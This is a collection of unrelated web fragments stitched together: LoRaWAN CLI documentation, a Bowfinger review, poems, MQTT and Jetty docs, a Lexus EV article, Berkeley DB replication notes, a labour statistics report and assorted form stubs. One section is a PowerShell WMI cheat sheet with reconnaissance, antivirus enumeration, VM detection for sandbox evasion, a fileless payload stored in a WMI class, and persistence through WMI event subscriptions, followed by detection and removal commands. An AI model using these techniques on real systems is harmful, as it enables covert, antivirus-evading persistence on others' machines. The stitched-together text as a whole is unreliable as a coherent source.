from an IEEE issued MAC address block that is assigned to your company. If you intend to operate your own LoRaWAN Join Server, use aJoinEUI
from your IEEE assigned MAC address block as LoRa Alliance requires that for DNS lookup. Learn how to apply for a IEEE issued MAC address block.
Example
This example illustrates creating a device profile template, assigning 5 DevEUI
s and creating them in your The Things Stack application.
First, create a mapping file with a device profile in profile.json
:
$ ttn-lw-cli end-device template extend \
--frequency-plan-id EU_863_870 \
--lorawan-version 1.0.3 \
--lorawan-phy-version 1.0.3-a \
--supports-join > profile.json
Second, assign the EUIs. The first argument is the JoinEUI
, the second argument is the first DevEUI
.
$ cat profile.json \
| ttn-lw-cli end-device template assign-euis 70b3d57ed0000000 70b3d57ed0000001 --count 5 > devices.json
Show output
{
"end_device": {
"ids": {
"device_id": "eui-70b3d57ed0000001",
"application_ids": {
},
"dev_eui": "70B3D57ED0000001",
"join_eui": "70B3D57ED0000000"
},
"created_at": "0001-01-01T00:00:00Z",
"updated_at": "0001-01-01T00:00:00Z",
"attributes": {
},
"lorawan_version": "1.0.3",
"lorawan_phy_version": "1.0.3-a",
"frequency_plan_id": "EU_863_870",
"supports_join": true
},
"field_mask": {
"paths": [
"lorawan_version",
"ids.device_id",
"ids.join_eui",
"ids.dev_eui",
"supports_join",
"frequency_plan_id",
"lorawan_phy_version"
]
}
}
{
"end_device": {
"ids": {
"device_id": "eui-70b3d57ed0000002",
"application_ids": {
},
"dev_eui": "70B3D57ED0000002",
"join_eui": "70B3D57ED0000000"
},
"created_at": "0001-01-01T00:00:00Z",
"updated_at": "0001-01-01T00:00:00Z",
"attributes": {
},
"lorawan_version": "1.0.3",
"lorawan_phy_version": "1.0.3-a",
"frequency_plan_id": "EU_863_870",
"supports_join": true
},
"field_mask": {
"paths": [
"ids.dev_eui",
"supports_join",
"frequency_plan_id",
"lorawan_phy_version",
"lorawan_version",
"ids.device_id",
"ids.join_eui"
]
}
}
{
"end_device": {
"ids": {
"device_id": "eui-70b3d57ed0000003",
"application_ids": {
},
"dev_eui": "70B3D57ED0000003",
"join_eui": "70B3D57ED0000000"
},
"created_at": "0001-01-01T00:00:00Z",
"updated_at": "0001-01-01T00:00:00Z",
"attributes": {
},
"lorawan_version": "1.0.3",
"lorawan_phy_version": "1.0.3-a",
"frequency_plan_id": "EU_863_870",
"supports_join": true
},
"field_mask": {
"paths": [
"supports_join",
"frequency_plan_id",
"lorawan_phy_version",
"lorawan_version",
"ids.device_id",
"ids.join_eui",
"ids.dev_eui"
]
}
}
{
"end_device": {
"ids": {
"device_id": "eui-70b3d57ed0000004",
"application_ids": {
},
"dev_eui": "70B3D57ED0000004",
"join_eui": "70B3D57ED0000000"
},
"created_at": "0001-01-01T00:00:00Z",
"updated_at": "0001-01-01T00:00:00Z",
"attributes": {
},
"lorawan_version": "1.0.3",
"lorawan_phy_version": "1.0.3-a",
"frequency_plan_id": "EU_863_870",
"supports_join": true
},
"field_mask": {
"paths": [
"ids.device_id",
"ids.join_eui",
"ids.dev_eui",
"supports_join",
"frequency_plan_id",
"lorawan_phy_version",
"lorawan_version"
]
}
}
{
"end_device": {
"ids": {
"device_id": "eui-70b3d57ed0000005",
"application_ids": {
},
"dev_eui": "70B3D57ED0000005",
"join_eui": "70B3D57ED0000000"
},
"created_at": "0001-01-01T00:00:00Z",
"updated_at": "0001-01-01T00:00:00Z",
"attributes": {
},
"lorawan_version": "1.0.3",
"lorawan_phy_version": "1.0.3-a",
"frequency_plan_id": "EU_863_870",
"supports_join": true
},
"field_mask": {
"paths": [
"supports_join",
"frequency_plan_id",
"lorawan_phy_version",
"lorawan_version",
"ids.device_id",
"ids.join_eui",
"ids.dev_eui"
]
}
}
Finally, you can create these devices in your The Things Stack application test-app
, see Executing Templates.
$ cat devices.json \
| ttn-lw-cli end-device template execute \
| ttn-lw-cli device create --application-id test-app


{% extends 'base.html' %} {% block content %}
Please enter your old password, for security's sake, and then enter your new password twice so we can verify you typed it in correctly.


BOWFINGER
Reviewed by Harvey Karten Universal Pictures/Imagine Entertainment Director: Frank Oz Writer: Steve Martin Cast: Steve Martin, Eddie Murphy, Christine Baranski, Heather Graham, Terence Stamp, Jamie Kennedy, Robert Downey, Jr.
Our institutions are flawed. For moviegoers, that's a good thing. If the establishment were perfect, what would we do for laugh-out-loud screen parodies? During the past 12 months we've had a take-off on beauty contests, ("Drop Dead Gorgeous" which turned ugly when it attacked vulnerable, handicapped people), a send-up of horror movies ("Lake Placid," a thoroughly amusing shark-fest that underscored the failure of the lame-scripted "Deep Blue Sea" that followed it), and of karate films (Jackie Chan in "Rush Hour," as the uncomfortable partner of a motormouth cop). The best subject for parody, though, is the movie industry itself, an enterprise which has been criticized for being concerned only with money, for dumbing down its subject matter to bring in the lowest common denominator to the theaters, and for swamping the multiplexes to such an extent that a personal film has a difficult time indeed finding a constituency. Who better to satirize the studios than one of the largest studios itself?
Universal's "Bowfinger" uses two of the trade's sharpest comics to turn out a howlingly funny lampoon of big studio domination. The film focuses on a producer-director of a small outfit ironically called Bowfinger International run by Bobby Bowfinger (Steve Martin), who hopes to make a movie with his budget of $2,184, saved by putting $1 a week into a kitty from the time he was ten years old. Unfortunately the actor he wants would probably not consider even looking at a script for ten times that figure. This does not stop the title character, who comes across with a bold idea: superstar Kit Ramsey (Eddie Murphy) will star in his film without even knowing that he's in the movie. How Bowfinger follows the luminary around the streets of Hollywood, capturing him on celluloid without the man's awareness. is the concept that delivers the almost non-stop guffaws and chuckles.
An original screenplay by Steve Martin himself, "Bowfinger" is directed by Frank Oz (known to the younger set as puppet-performer Yoda in "The Empire Strikes Back" and to hip college kids and others for directing the wonderful musical parody "Little Shop of Horrors"). The movie opens as Bowfinger is about to get his phone service cut off for non- payment. But Bobby is nothing if not determined, inspired and disciplined. Bent on making a low-budget sci-fi entry about an alien takeover of the Earth entitled "Chubby Rain," he enlists his loyal team of actors. Carol (Christine Baranski) is well-suited for her nouveau-riche revenge-character role and screenwriter Afrim (Adam Alexi-Malle) has turned up a script that Bowfinger considers a masterpiece. With a would-be cameraman, he rounds up a crew of Mexicans who are one step ahead of Immigration and sets out to capture Kit on his hidden camera. Kit is the perfect person to play a man terrified by aliens as he is has a paranoid personality and is being treated by Terri Stricter (Terence Stamp) at a luxurious, California-style est-type enterprise called MindHead.
While the comedy hangs together quite well, "Bowfinger" accommodates a series of fast-moving skits, each of which is able to stand alone as a Saturday-Nite Live type of entertainment. The best minutes in the movie come as Bowfinger locates the restaurant table occupied by hot-shot producer Jerry Renfro (Robert Downey, Jr.) and tries unsuccessfully to get his backing of the film by taking an adjacent table and speaking loudly on his cell phone, allegedly to Kit Ramsey--whom Renfro has been unable to contact. Heather Graham does wonderful work as Daisy, an Ohio naif who travels to Hollywood seeking work as an actress and learns very quickly which people she has to bed to get a leading role. Eddie Murphy and Steve Martin make sparks together with Murphy in the dual role of Kit Ramsey and Kit's developmentally disabled brother--who declares that he not only aspires to the job of errand runner but holds that "running errands would be a boost to my career."
The company introduces us to amusing side characters in brief roles such as one young, untalented woman who turns up for an audition but is found by Bowfinger to have "the personality of a zip code in Kansas." Betsy the dog, who has been well-trained in obedience, does her part to further terrify the already paranoid Kit by following him through an indoor parking garage wearing high-heeled shoes. Each time Kit turns quickly around to see the source of the clackety clack, he observes nothing at all, furnishing him a wide-eyed look of terror.
Having spoofed schlock alien films unmercifully and, in a concluding scene taking aim at Hong Kong martial arts fare, "Bowfinger" accomplishes its task of mocking the entire industry of profit-hungry big studios in a movie that will probably take in sacks of money for the big studio that's releasing it.
Rated PG-13. Running Time: 97 minutes. (C) 1999 Harvey Karten
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


3 Poems by Erin Taylor
1
i would like to sink into this couch until i cannot feel my muscles
convulsing & i would stop shaking & only be a pillow
for people to kiss on.
2
you call me sobbing over a man that touched you when you were
twelve & i told you i wish i could have protected you:
i am always too late or not at all.
3
flowers bloomed today, babies were born,
universes were possibly formed
& my taxi driver offered me a cigarette in traffic.
Erin Taylor is a human being with emotions. She is never where she should be. She has a chapbook of poetry OOOO (Bottlecap Press). Her emotions have appeared at Wu-Wei Fashion Mag, Words Dance, Reality Beach, & more. Her emotions are forthcoming, in both publications and at amarettoandslayin.tumblr.com


Multi-purpose language allowing you to build any type of application
Android Development.
No performance impact.
Very small runtime.
Application Server.
Doesn't matter the technology. 100% Compatible with all JVM frameworks.
JavaScript. Write code in Kotlin and target JavaScript to run on node or in browser
Enterprise. Use Kotlin for any type of Enterprise Java EE development.
Web. Whether you want strongly typed HTML, CSS builder or just plain web development.


|
MQTT-C
|
A message queue. More...
#include <mqtt.h>
Data Fields | |
| void * | mem_start |
| The start of the message queue's memory block. More... | |
| void * | mem_end |
| The end of the message queue's memory block. | |
| uint8_t * | curr |
| A pointer to the position in the buffer you can pack bytes at. More... | |
| size_t | curr_sz |
The number of bytes that can be written to curr . More... | |
| struct mqtt_queued_message * | queue_tail |
| The tail of the array of mqtt_queued_messages's. More... | |
Related Functions | |
(Note that these are not member functions.) | |
| void | mqtt_mq_init (struct mqtt_message_queue *mq, void *buf, size_t bufsz) |
| Initialize a message queue. More... | |
| void | mqtt_mq_clean (struct mqtt_message_queue *mq) |
| Clear as many messages from the front of the queue as possible. More... | |
| struct mqtt_queued_message * | mqtt_mq_register (struct mqtt_message_queue *mq, size_t nbytes) |
| Register a message that was just added to the buffer. More... | |
| struct mqtt_queued_message * | mqtt_mq_find (struct mqtt_message_queue *mq, enum MQTTControlPacketType control_type, uint16_t *packet_id) |
| Find a message in the message queue. More... | |
A message queue.
curr
and curr_sz
. | uint8_t* mqtt_message_queue::curr |
A pointer to the position in the buffer you can pack bytes at.
curr
you must call mqtt_mq_register. | size_t mqtt_message_queue::curr_sz |
The number of bytes that can be written to curr
.
curr
. This is because the mqtt_queued_message structs share the same memory (and thus, a mqtt_queued_message must be allocated in the message queue's memory whenever a new message is registered). | void* mqtt_message_queue::mem_start |
The start of the message queue's memory block.
| struct mqtt_queued_message* mqtt_message_queue::queue_tail |
The tail of the array of mqtt_queued_messages's.


Say Hello To The Lexus UX 300e: The First-Ever Lexus EV
The first-ever Lexus EV is here with a 250-mile range and 201 horsepower.
by Martin BiggWhile most automakers are embracing the electric era, Toyota is late to the EV party and has instead been focusing on hybrids. That changes today with the reveal of the Lexus UX 300e, the luxury division's first-ever fully electric car. Debuting at the Guangzhou Auto Show in China, the Lexus UX 300e retains the styling of the regular UX including the large grille, but the combustion engine has been replaced with an electric motor producing 201 horsepower and 221 lb-ft of torque.
Mounted under the floor is a high-capacity 54.3-kWh battery delivering a low center of gravity and a 248-mile range based on Europe's NEDC cycle. To manage the extra weight, Toyota's GA-C platform has been enhanced with additional braces and revised dampers.
Lexus used its experience gained from hybrid models such as the UX Hybrid to develop the EV powertrain, which features a temperature management system that operates at low and high ambient temperatures. Using a 50-kW fast charger, the battery takes around 50 minutes to fully recharge, or around seven hours from a standard 6.6-kW household socket. Several drive modes are available that take advantage of the electric powertrain, and paddle shifters are used to control the four regenerative braking modes.
Inside, Lexus claims the UX 300e has one of the quietest cabins in its class. While EVs are naturally quiet, Lexus has added additional sound insulation that blocks outside noises such as wind or pebbles that would be otherwise noticeable with no engine and transmission.
Lexus has also implemented what it calls an "Active Sound Control" system that "transmits natural ambient sounds to allow for a understanding of driving conditions, and provides a natural feeling for the cabin's occupants."
By linking to a smartphone using the LexusLink app, drivers can check the battery state of charge and driving range. Charging controls are also included such as a timer function to inform the owner when the UX 300e is fully charged or schedule the charging. Climate control can also be operated remotely using the app.
The Lexus UX 300e will go on sale in China and Europe in 2020 and Japan in early 2021, but Lexus hasn't said if it plans to sell it in America.


SECTION: 250-Configuration TITLE: 300stats QUESTION: Does Jetty support statistics gathering?
There are 2 sets of statistics available with Jetty. One is Jetty-specific, and the other conforms to the JSR77 specification. Both are accessible via the JMX console (see the README.TXT file for instructions on how to start Jetty with JMX) and the API.
Extended Jetty Statistics
To enable the Jetty-specific statistics, set statsOn
to true
in your Jetty configuration xml file before starting Jetty.
There is an example of this in $JETTY_HOME/etc/jetty.xml
. The relevant line is:
<Set name="statsOn">true</Set>
You can also control statistics at runtime by using the JMX console or the API to call methods on the Server instance to:
setStatsOn(false)
)
setStatsOn(true)
)
statsReset()
)
connections
- the number of connections accepted
connectionsOpen
- the number of currently open connections
connectionsOpenMax
- the max number of concurrently open connections
connectionsDurationAve
- sliding average duration in milliseconds of open connections
connectionsDurationMax
- maximum duration in milliseconds of an open connection
connectionsRequestsAve
- sliding average number of requests per connection
connectionsRequestsMax
- maximum number of requests per connection
errors
- number of errors generated while handling requests
requests
- number of requests
requestsActive
- number of requests currently active
requestsActiveMax
- maximum number of concurrently active requests
requestsDurationAve
- average duration in milliseconds of request handling
requestsDurationMax
- maximum duration in milliseconds of request handling
In addition to the Jetty-specific statistics, since Jetty 5.1 the JSR77 specification is also supported.
To enable JSR77 style statistics, you will need the extra/jsr77 subproject. You can download it as part of the pre-built full Jetty release, or the pre-built extras package, or build it yourself from source (cd extras/jsr77; ant).
To enable the JSR77 statistics:
$JETTY_HOME/etc/demo.xml
file):
<Set name="WebApplicationConfigurationClassNames">
<Array type="java.lang.String">
<Item>org.mortbay.jetty.servlet.XMLConfiguration</Item>
<Item>org.mortbay.jetty.servlet.JettyWebConfiguration</Item>
<Item>org.mortbay.jetty.servlet.jsr77.Configuration</Item>
</Array>
</Set>
java -DSTART=extra/etc/start-jsr77.config -jar start.jar <name of your config file>
For example, to enable JSR77 statistics for the demo shipped with Jetty:
java -DSTART=extra/etc/start-jsr77.config -jar start.jar etc/demo-jmx.xml
org.mortbay:J2EEServer=null,J2EEApplication=null,J2EEWebModule=<context-name>,j2EEType=Servlet,name=<servlet-name>
eg
org.mortbay:J2EEServer=null,J2EEApplication=null,J2EEWebModule=/servlets-examples,j2EEType=Servlet,name=HelloWorldExample
For more information, refer to the JSR77 specification.


During our 30 Day Free Trial you will have full access to all of the features necessary for any successful online business including Membership Manager, Meeting & Event Manager, Resource Library, E-commerce, Blog, Email Marketing, Secure Cloud Hosting and CMS. Unlike other “free trials” we do not require any credit card information, so no hidden fees or unexpected charges. You’re only charged if you sign up for a plan after your 30 days are up!
Signing up is easy as one, two, three just follow these quick and easy steps!


The animals are our best friends!
Hi! Please feel free to fill the form below. The answers will be used to help our pet store.
Name
Email
Age
What is your favorite animal? Cats Dogs Rabbits Other
How do you feed your pets? I cook their food I buy their food Other
Which of those factors affect your choice? Price Availability of stores in my area I want to give what is best for my pet's health
Feel free to enter your comments below.


| Sender's name | Subject - This is the message content | 11:27 pm | |
| Sender's name | Subject - This is the message content | 12:25 am | |
| Sender's name | Subject - This is the message content | 11:27 pm | |
| Sender's name | Subject - This is the message content | 11:27 pm | |
| Sender's name | Subject - This is the message content | 11:27 pm | |
| Sender's name | Subject - This is the message content | 11:27 pm |
Compose Message


File / Directory List
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_ComputerSystem
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_BIOS
Get-WmiObject -Namespace ROOT\CIMV2 -Class CIM_DataFile
Disk Volume List
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Volume
Registry Operations
Get-WmiObject -Namespace ROOT\DEFAULT -Class StdRegProv Push-Location HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run Get-ItemProperty OptionalComponents
Process
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Process
List Service
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Service
Logs
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_NtLogEvent
Logged On User
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_LoggedOnUser
Share
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Share
Patches
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_QuickFixEngineering
AV Product
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct
VM Detection through PhysicalMemory and LogicalProcessors
$VMDetected = $False
$Arguments = @{
Class = 'Win32_ComputerSystem'
Filter = 'NumberOfLogicalProcessors < 2 AND TotalPhysicalMemory <<PHONE_NUMBER>'
}
if (Get-WmiObject @Arguments) {
$VMDetected = $True
"In vm"
}
else{
"Not in vm"
}
VM Detection through VMWare process
$VMwareDetected = $False
$VMAdapter = Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer LIKE
"%VMware%" OR Name LIKE "%VMware%"'
$VMBios = Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware%"'
$VMToolsRunning = Get-WmiObject Win32_Process -Filter 'Name="vmtoolsd.exe"'
if ($VMAdapter -or $VMBios -or $VMToolsRunning)
{ $VMwareDetected = $True
"in vm"
}
else
{
"not in vm"
}
Persistence Payload
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,
$null)
$StaticClass.Name = 'Win32_EvilClass'
$StaticClass.Put()
$StaticClass.Properties.Add('EvilProperty' , "This is payload")
$StaticClass.Put()
It can be encrypted and saved at this position, decoded when executing to achieve that no file is saved on the drive.
Program Running Stealthily at regular time (requires admin)
$filterName = 'BotFilter82'
$consumerName = 'BotConsumer23'
$exePath = 'C:\Windows\System32\notepad.exe'
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE
TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=
$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @
{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=
$WMIEventFilter;Consumer=$WMIEventConsumer}
Execute notepad.exe every 60s
Tips
The stuxnet has already used this backdoor that is implemted through mof.
Until today many are using this backdoor method.
AV products won’t kill this behavior.
Detection with WMI
View WMI Event requires admin
#List Event Filters
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
#List Event Consumers
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
#List Event Bindings
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
Delete requires admin
#Filter
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='BotFilter82'" | Remove-WmiObject -Verbose
#Consumer
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='BotConsumer23'" | Remove-WmiObject -Verbose
#Binding
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%BotFilter82%'" | Remove-WmiObject -Verbose


We're sorry but xseboard doesn't work properly without JavaScript enabled. Please enable it to continue.


Energy Star
®
8.0
EPEAT™ Silver
Up to 65% PCC
(paint-free raw materials)
Low Halogen Chassis
TÜV Low Blue Light
TÜV Ultra Low Noise
Low-Frequency Flash
Copy Source Code
Energy Star
®
8.0
EPEAT™ Silver
Up to 65% PCC
(paint-free raw materials)
Low Halogen Chassis
TÜV Low Blue Light
TÜV Ultra Low Noise
Low-Frequency Flash
Close
Copy


Replication Manager allows the user to choose from a variety of acknowledgement policies. There are two characteristics that should be considered when choosing the policy: consistency and durability. Consistency means making sure some number of clients have applied all available master transactions. Durability, in this context, means only indicating success only if enough clients have applied a transaction. The issue of how many is enough depends on the application's requirements and varies per acknowledgement policy. For example, DB_REPMGR_ACKS_QUORUM means the data will survive a change in master or a network partition. In most cases, the number of sites for consistency is equal to the number of sites for durability. Replication Manager uses the consistency value to decide whether or not to wait for acknowledgements. Replication manager uses the durability value to decide either the transaction was successfully processed or that a DB_EVENT_REP_PERM_FAILED event should be generated.
Replication Manager also strives to give the application the answer and return to the application as quickly as possible. Therefore, if it knows that the number of sites connected is insufficient to meet the consistency value, then it does not wait for any acknowledgements and if it knows that the durability value cannot be met, it returns DB_EVENT_REP_PERM_FAILED immediately to the user.
With one exception, discussed below, all acknowledgement policies combine the consistency and durability values. For most policies the primary purpose is the durability of the data. For example, the DB_REPMGR_ACKS_QUORUM policy ensures that, if successful, the transaction's data is safe in the event of a network partition so that a majority of the sites in the group have the data. The DB_REPMGR_ACKS_NONE policy does not consider either consistency or durability, and it is very fast because it does not wait for any acknowledgements and it does not ever trigger the DB_EVENT_REP_PERM_FAILED event. Other policies, DB_REPMGR_ACKS_ALL and DB_REPMGR_ACKS_ALL_PEERS, have a primary purpose of consistency. These two policies wait for acknowledgements from all (or all electable) sites in the group.
In the face of failure, however, the DB_REPMGR_ACKS_ALL and DB_REPMGR_ACKS_ALL_PEERS policies can result in a surprising lack of consistency due to the fact that Replication Manager strives to give the answer back to the application as fast as it can. So, for example, with DB_REPMGR_ACKS_ALL, and one site down, Replication Manager knows that disconnected site can never acknowledge, so it immediately triggers DB_EVENT_REP_PERM_FAILED. An unfortunate side effect of this policy is that existing, running sites may fall further and further behind the master if the master site is sending a fast, busy stream of transactions and never waiting for any site to send an acknowledgement. The master does not wait because the consistency value cannot be met, and it does trigger the DB_EVENT_REP_PERM_FAILED event because the durability value cannot be met, but those actions now affect the consistency of the other running sites.
In order to counteract this unfortunate side effect, the DB_REPMGR_ACKS_ALL_AVAILABLE acknowledgement policy focuses on the consistency aspect, but also considers durability. This policy uses all sites for consistency, and a quorum of sites for its decision about durability. As long as there is a non-zero number of client replicas to send to, the master will wait for all available sites to acknowledge the transaction. As long as any client site is connected, this policy will prevent the master from racing ahead if one or more sites is down. On the master, this policy will then consider the transaction durable if the number of acknowledgements meets quorum for the group.
The following acknowledgement policies determine durability using acknowledgements from electable peers only: DB_REPMGR_ACKS_QUORUM, DB_REPMGR_ACKS_ONE_PEER, DB_REPMGR_ACKS_ALL_PEERS. An electable peer is a site where the priority value is greater than zero. In replication groups using these policies, an unelectable site does not send acknowledgements and cannot contribute to transaction durability.
If your application needs to associate a DB_EVENT_REP_PERM_FAILED event with the specific transaction and thread that caused it, this can be done by using your platform's thread-specific data facility. You can create a thread-specific data structure that contains a durability indicator. You would set the durability indicator in the DB_EVENT_REP_PERM_FAILED portion of your event notification callback function. You can then check and clear the durability indicator after your transaction commit operation completes. You must be careful to coordinate this approach across all application threads performing transaction commits or checkpoints because any of these threads can generate a DB_EVENT_REP_PERM_FAILED event. The ex_rep_mgr sample application demonstrates one way to implement this capability. See Ex_rep: a replication example for more information.


Welcome To Pizza Planet
What Size Pizza Would You Like
Large-15$
Medium-13$
Small-10$
Choose one topping you would like on your Pizza
Cheese Only
Mushrooms - 1$ extra
Red Peppers-2$ extra
Choose what type of crust you would like
Normal
Cheesy Crust- 1$ extra
Garlic Crust 1$ extra
Place your Order Here


--- layout: attachment title: ukSubmit with callback and arguments date: 2014-05-24 05:38:09.000000000 +05:00 categories: [] tags: [] status: inherit type: attachment published: false meta: {} author: login: mohammadumairkh email<EMAIL_ADDRESS>display_name: mohammadumairkh first_name: '' last_name: '' ---
ukSubmit with callback and arguments


Find your stress level, and receive relaxation recommendations.
Have you experienced any of the following in the past month? Please check all that apply.
Have you had any of the listed symptoms in the past month? Please check all that apply.
Have you done any of the following in the past month?
You may want to try:


Broken power law:
We examine a test source "multipower" defined thus:
Note that, normally, the "power_law" element is declared with a
minimum and maximum, and a single power law index
"gamma.".
The "ebreak" option allows for the two "gamma" variables to
apply above and below the break.. If ebreak is not specified, it defaults to
zero, for no break.
We run the standard flux tests on the above "multipower" source, and find a rate (after 10,000 events) of
37.6892, or
about 1*2PI*6, where 1 is the rate (s-1 m-2 sr-1), the diffuse source is
declared over 2PI steradians, and the 6 is the
area of the detector circle, in m2.
Running a set of rootplots on the same source gives results like this:
as expected, the break in the power law happens at 0.5 GeV, with an index of 2 before and an index of 4 afterward.
It should be noted that this allows for other "bumpy" spectra
outside of a simple hardening at higher energies. For instance,
if the first energy index in "multipower" becomes a -2, then we have a
spectrum that looks like this:


nMQTT publish
Broker
Host
Port
SSL
Client ID
Username
Password
Options
QOS
Retain
Repeat
Repeat delay
Message
Topic
Payload
Send
Output


Nice!  Every time you visit any page on this site, you'll be asked what you're doing. To keep you focused, at periodic intervals, you'll be forced to retype your purpose.
Be certain that you want to do this. You cannot remove sites from your blacklist.


To those who gave me a place to stay:
To Stuart McMillan of London, for Christmas songs and 3AM tea…
To Josh Lieber of Cambridge, for mulled wine and Sweeney Todd…
To Janis of Latvia, for a Soviet cabin in the woods… …You helped give me momentum. To my muses… ...Rasmus Schanke of Oslo, James Chew of Liverpool, Dake Kang of Nowhere/Everywhere, Audrey of Belize and Kevin Suarez of Chicago... …you gave me adventure, inspiration, and great personalities to put to the page.  To my not-editor Josh Lieber, who kept telling me I was a genius so often I started believing him. To my business partner Kevin Suarez, for helping me with coding, life, and surviving the wolves. To my mentor Greg Lobanov, for always helping me get started. To Jacquie Nesbitt, Caety Klingman, Daichi Ueda, Annie Wu, for being great suggesters/bug-catchers/adventure-friends. To my advisor Vu Tran, for begging me to stay in school. To Erin Nerstad, for dealing with this most-peculiar project. And most importantly to the Padres, for giving me life, and never doubting that it was a great idea. Thank you.


Luis Artavia
A qualified & intelligently overwhelming developer at your service
My name is Luis Artavia. I work in front-end web-development and I am in search of a position in the digital design industry or information technology sector. I have solid experience in developing hand-coded works composed of HTML5, CSS3 media queries and JavaScript with feature-testing.
Contact me
If you believe we share common ground and think that I can help you with your web-development needs & would like to know more, contact me, preferably, at the Outlook address listed on my CV-- curriculum vitae -- that you have in hand. There is a good probability that I am not meant to receive messages from any other email address than the one listed in my résumé.
About me
I am looking for employment. And, while I am refactoring existing code and changing file extensions (a daunting challenge for any front-end developer a\k\a Javascript developer a\k\a UI developer) I do my best to stay positive. However, I am not the type of person to stroke their own ego and it can be a little more difficult for me to talk more about myself. But, I will give it a go!
I bring two (2) years of relevant corporate experience building UX designs and composing responsive, clean, extensible user interfaces based on PSD or PNG artwork in addition to having ten (10) years of experience in quality-based, fast-turnaround financial service environments. The former does not include the additional seven (7) years personal experience and expertise with Creative Suite and digital asset editing- ditto for AJAX request handling for use with Javascript & PHP. Thus, as of April 2017 I will have been a web-developer for about nine (9) years! Whatever the case, I believe the web becomes a better place when we all learn from one another regardless of title.
Some of my target companies include small to medium-sized graphic design firms. And, if you are aware of any opportunity or know anybody who could accomodate such a request I would appreciate you sharing that information. Some of my peers in school and work have said I am "the gas that runs the car" and I have proved it. Any of my prior bosses worth their salt would have to attest to that to be so. I can contribute to your continuing growth and profits-- bar none! I have implemented a new creative work, too, thanks to the nice people at GitHub. GitHub is presently my only digital playground. My focus is on showing true-substance rather than getting occupied over superficial issues. Expressive, airtight and lightweight code is not done by accident.
My short-term goals are a work in progress. For example, recently I completed the CISCO Academy IT Essentials course as of March 2017 but I am not poised for more at the moment. My first priority is to find work and not leave that decision to others. In the near future, I will take the entrance exam for admittance to the local university for sessions commencing in January 2018 - the beginning of next year, in other words. I would like to, Lord willing, obtain a Bachelor’s of Science in Information Technology. The admissions exam is set for later this year.
Luis’s galleries
For the previous five (5) years, I have been an unemployed full stack web developer striving to improve and refine an ever growing skillset on a daily basis. I am no slouch! I have been practicing skills in front-end development with the exception of the period from October 15, 2015 to December 5, 2016 while side tracked with career choices at a call-centre not related to web development. But you are probably here to see new experiences. Without further delay here is a curated list of previous curiosities, improvements, and experiments for your enjoyment.
Luis’s motivations
I want to thank you for your visit today. These are items that are close to my heart. Here, you will find the life lessons I have learned and applied throughout my career. By its own definition, it could be accurate to say that what I say and do eventually reflects on a public image that is perceived. You may ask how I got from point A to point B. But in actuality, I insist that you read on but I forewarn you that my transition to point B will not be addressed. I only want to remain positive by focusing on the work and so I can address how my knowledge can be of benefit to a prospective future employer. Ultimately, we each are known for our fruit when we have opportunities to help and benefit others.


{% extends 'wildlifecompliance/emails/base_email.html' %} {% block content %} Your licence return details {{ lodgement_number }} has been reviewed and requires an amendment before further assessment. {% if reason %}
Amendment Reason: {{ reason }}
{% endif %} {% if text %} Amendment details:
{{ text }}
If you are currently logged into the Wildlife Licensing System, access this Return using the following link:
{% endblock %}


{{variable}}
Hello
Bye
About
List
TemplateUrllist
reload plunker (without changing the url)
Hello
About
People


Labour productivity rises 2.6pc in Q3 2019
KUALA LUMPUR, Nov 21 — Malaysia’s labour productivity rose 2.6 per cent in the third quarter (Q3) 2019 compared with 2.4 per cent in the preceding quarter, the Department of Statistics (DOSM) said in a statement today.
Chief Statistician Datuk Seri Dr Mohd Uzir Mahidin said total hours worked during this quarter increased 1.7 per cent against 2.4 per cent in Q2 2019.
“In this quarter, Services and Manufacturing sectors recorded the highest growth of labour productivity by hours worked at 2.9 per cent. This was followed by agriculture (1.8 per cent) and construction (1.6 per cent) sectors.
“However, labour productivity for the mining and quarrying sector declined to 3.4 per cent after registering negative 0.7 per cent in the preceding quarter,” he said.
The labour productivity is expressed in terms of value added per hour worked and value added per employment by kind of economic activities.
It is measured as the ratio of value added to hours worked.
“Labour productivity is a key driver of economic growth. It indicates the ability of a country to produce goods and services of each hour of a labour’s time.
Besides that, Mohd Uzir said labour productivity as measured by the ratio of value-added to employment grew 2.3 per cent (Q2 2019: 2.8 per cent) while employment growth sustained at 2.1 per cent (Q2 2019: 2.1 per cent). — Bernama


{% extends "layout.html" %} {% block body %}
